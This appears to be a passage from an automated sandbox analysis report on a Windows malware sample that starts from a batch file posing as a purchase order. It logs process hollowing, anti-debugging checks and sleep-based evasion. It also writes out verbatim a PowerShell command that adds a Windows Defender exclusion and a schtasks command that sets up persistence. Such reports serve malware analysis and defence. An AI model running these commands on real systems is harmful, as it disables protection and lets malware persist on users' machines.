Source: C:\Users\user\AppData\Roaming\ACCApi\apihost.exe	Memory allocated: 4400000 memory reserve \| memory write watch

Source: C:\Users\Public\Libraries\rpkhzpuO.pif

10_1_004019F0

Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Thread delayed: delay time: 922337203685477
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Thread delayed: delay time: 922337203685477

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5587
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 356
Source: C:\Users\user\AppData\Roaming\ACCApi\apihost.exe	Window / User API: threadDelayed 2394
Source: C:\Users\user\AppData\Roaming\ACCApi\apihost.exe	Window / User API: threadDelayed 7396

Source: C:\Users\Public\Libraries\rpkhzpuO.pif

Evasive API call chain: GetModuleFileName,DecisionNodes,Sleep

graph_10-12210

Source: C:\Users\Public\Libraries\rpkhzpuO.pif TID: 1484	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe TID: 1924	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2136	Thread sleep count: 5587 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2548	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 504	Thread sleep count: 356 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3416	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\Public\Libraries\rpkhzpuO.pif TID: 5948	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\Public\Libraries\rpkhzpuO.pif TID: 5464	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Roaming\ACCApi\apihost.exe TID: 7144	Thread sleep time: -143640000s >= -30000s
Source: C:\Users\user\AppData\Roaming\ACCApi\apihost.exe TID: 7144	Thread sleep time: -443760000s >= -30000s

Source: C:\Windows\System32\dllhost.exe

File opened: PhysicalDrive0

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Roaming\ACCApi\apihost.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\x.exe

Code function: 6_2_02C358B4 GetModuleHandleA,GetProcAddress,lstrcpynA,lstrcpynA,lstrcpynA,FindFirstFileA,FindClose,lstrlenA,lstrcpynA,lstrlenA,lstrcpynA,

6_2_02C358B4

Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Thread delayed: delay time: 922337203685477
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\ACCApi\apihost.exe	Thread delayed: delay time: 60000
Source: C:\Users\user\AppData\Roaming\ACCApi\apihost.exe	Thread delayed: delay time: 60000

Source: x.exe, 00000006.00000002.2450193992.00000000005B0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWhs_%SystemRoot%\system32\mswsock.dll
Source: Oupzhkpr.PIF, 00000019.00000002.2768525575.00000000006C5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllq
Source: Microsofts.exe, 0000000D.00000002.4620201909.0000000000800000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllE
Source: x.exe, 00000006.00000002.2450193992.00000000005F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: x.exe, 00000006.00000002.2450193992.00000000005F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW,
Source: Oupzhkpr.PIF, 00000015.00000002.2593221559.000000000079E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\AppData\Local\Temp\x.exe	API call chain: ExitProcess graph end node			graph_6-30461
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	API call chain: ExitProcess graph end node

Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Source: C:\Users\user\AppData\Local\Temp\x.exe

Code function: 6_2_02C4EBF0 GetModuleHandleW,GetProcAddress,CheckRemoteDebuggerPresent,

6_2_02C4EBF0

Source: C:\Users\user\AppData\Local\Temp\x.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process queried: DebugPort
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process queried: DebugPort

Source: C:\Users\Public\Libraries\rpkhzpuO.pif

Code function: 10_1_0040CE09 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

10_1_0040CE09

Source: C:\Users\Public\Libraries\rpkhzpuO.pif

10_1_004019F0

Source: C:\Users\user\AppData\Local\Temp\x.exe

Code function: 6_2_02C487A0 LoadLibraryW,GetProcAddress,FreeLibrary,

6_2_02C487A0

Source: C:\Users\Public\Libraries\rpkhzpuO.pif

Code function: 10_1_0040ADB0 GetProcessHeap,HeapFree,

10_1_0040ADB0

Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Roaming\ACCApi\apihost.exe	Process token adjusted: Debug

Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 10_1_0040CE09 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	10_1_0040CE09
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 10_1_0040E61C _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	10_1_0040E61C
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 10_1_00416F6A __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	10_1_00416F6A
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 10_1_004123F1 SetUnhandledExceptionFilter,	10_1_004123F1
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 24_2_0040CE09 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	24_2_0040CE09
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 24_2_0040E61C _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	24_2_0040E61C
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 24_2_00416F6A __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	24_2_00416F6A
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 24_2_004123F1 SetUnhandledExceptionFilter,	24_2_004123F1
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 29_2_0040CE09 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	29_2_0040CE09
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 29_2_0040E61C _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	29_2_0040E61C
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 29_2_00416F6A __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	29_2_00416F6A
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 29_2_004123F1 SetUnhandledExceptionFilter,	29_2_004123F1
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 29_1_0040CE09 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	29_1_0040CE09
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 29_1_0040E61C _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	29_1_0040E61C
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 29_1_00416F6A __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	29_1_00416F6A
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: 29_1_004123F1 SetUnhandledExceptionFilter,	29_1_004123F1

Source: C:\Users\Public\Libraries\rpkhzpuO.pif

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\ACCApi'
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\ACCApi'			Jump to behavior

Allocates memory in foreign processes

Source: C:\Users\user\AppData\Local\Temp\x.exe	Memory allocated: C:\Users\Public\Libraries\rpkhzpuO.pif base: 400000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Memory allocated: C:\Users\Public\Libraries\rpkhzpuO.pif base: 400000 protect: page execute and read and write
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Memory allocated: C:\Users\Public\Libraries\rpkhzpuO.pif base: 400000 protect: page execute and read and write

Sample uses process hollowing technique

Source: C:\Users\user\AppData\Local\Temp\x.exe	Section unmapped: C:\Users\Public\Libraries\rpkhzpuO.pif base address: 400000	Jump to behavior
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section unmapped: C:\Users\Public\Libraries\rpkhzpuO.pif base address: 400000
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Section unmapped: C:\Users\Public\Libraries\rpkhzpuO.pif base address: 400000

Writes to foreign memory regions

Source: C:\Users\user\AppData\Local\Temp\x.exe	Memory written: C:\Users\Public\Libraries\rpkhzpuO.pif base: 2FB008	Jump to behavior
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Memory written: C:\Users\Public\Libraries\rpkhzpuO.pif base: 2C7008
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Memory written: C:\Users\Public\Libraries\rpkhzpuO.pif base: 296008

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe findstr /e "'v" "C:\Users\user\Desktop\PO#3_RKG367.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cscript.exe cscript //nologo C:\Users\user\AppData\Local\Temp\x.vbs	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\x.exe C:\Users\user\AppData\Local\Temp\x.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process created: C:\Users\Public\Libraries\rpkhzpuO.pif C:\Users\Public\Libraries\rpkhzpuO.pif	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process created: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe "C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe"	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process created: C:\Users\user\AppData\Local\Temp\Microsofts.exe "C:\Users\user\AppData\Local\Temp\Microsofts.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\ACCApi'	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "schtasks.exe" /create /tn AccSys /tr "C:\Users\user\AppData\Roaming\ACCApi\apihost.exe" /st 13:14 /du 23:59 /sc daily /ri 1 /f	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Process created: C:\Users\user\AppData\Roaming\ACCApi\apihost.exe "C:\Users\user\AppData\Roaming\ACCApi\apihost.exe"	Jump to behavior
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process created: C:\Users\Public\Libraries\rpkhzpuO.pif C:\Users\Public\Libraries\rpkhzpuO.pif
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Process created: C:\Users\Public\Libraries\rpkhzpuO.pif C:\Users\Public\Libraries\rpkhzpuO.pif

Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: GetModuleFileNameA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegQueryValueExA,RegQueryValueExA,RegCloseKey,lstrcpynA,GetThreadLocale,GetLocaleInfoA,lstrlenA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,	6_2_02C35A78
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: GetLocaleInfoA,	6_2_02C3A798
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: GetLocaleInfoA,	6_2_02C3A74C
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: lstrcpynA,GetThreadLocale,GetLocaleInfoA,lstrlenA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,	6_2_02C35B84
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: GetLocaleInfoA,	10_1_00417A20
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: GetLocaleInfoA,	24_2_00417A20
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Code function: GetModuleFileNameA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegQueryValueExA,RegQueryValueExA,RegCloseKey,lstrcpyn,GetThreadLocale,GetLocaleInfoA,lstrlen,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,	25_2_02DB5A78
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Code function: GetLocaleInfoA,	25_2_02DBA798
Source: C:\Users\Public\Libraries\Oupzhkpr.PIF	Code function: lstrcpyn,GetThreadLocale,GetLocaleInfoA,lstrlen,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,	25_2_02DB5B83
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: GetLocaleInfoA,	29_2_00417A20
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Code function: GetLocaleInfoA,	29_1_00417A20

Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Microsofts.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Windows\System32\dllhost.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\V01.chk VolumeInformation
Source: C:\Windows\System32\dllhost.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\V01.log VolumeInformation
Source: C:\Windows\System32\dllhost.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\V01.chk VolumeInformation
Source: C:\Windows\System32\dllhost.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\V01.log VolumeInformation
Source: C:\Windows\System32\dllhost.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\V01.log VolumeInformation
Source: C:\Windows\System32\dllhost.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\V01.log VolumeInformation
Source: C:\Windows\System32\dllhost.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\V01.chk VolumeInformation
Source: C:\Windows\System32\dllhost.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat VolumeInformation
Source: C:\Windows\System32\dllhost.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.jfm VolumeInformation
Source: C:\Windows\System32\dllhost.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat VolumeInformation
Source: C:\Windows\System32\dllhost.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat VolumeInformation
Source: C:\Windows\System32\dllhost.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\V01.chk VolumeInformation
Source: C:\Windows\System32\dllhost.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\V01.chk VolumeInformation
Source: C:\Windows\System32\dllhost.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\V01.chk VolumeInformation
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\ACCApi\apihost.exe	Queries volume information: C:\Users\user\AppData\Roaming\ACCApi\apihost.exe VolumeInformation
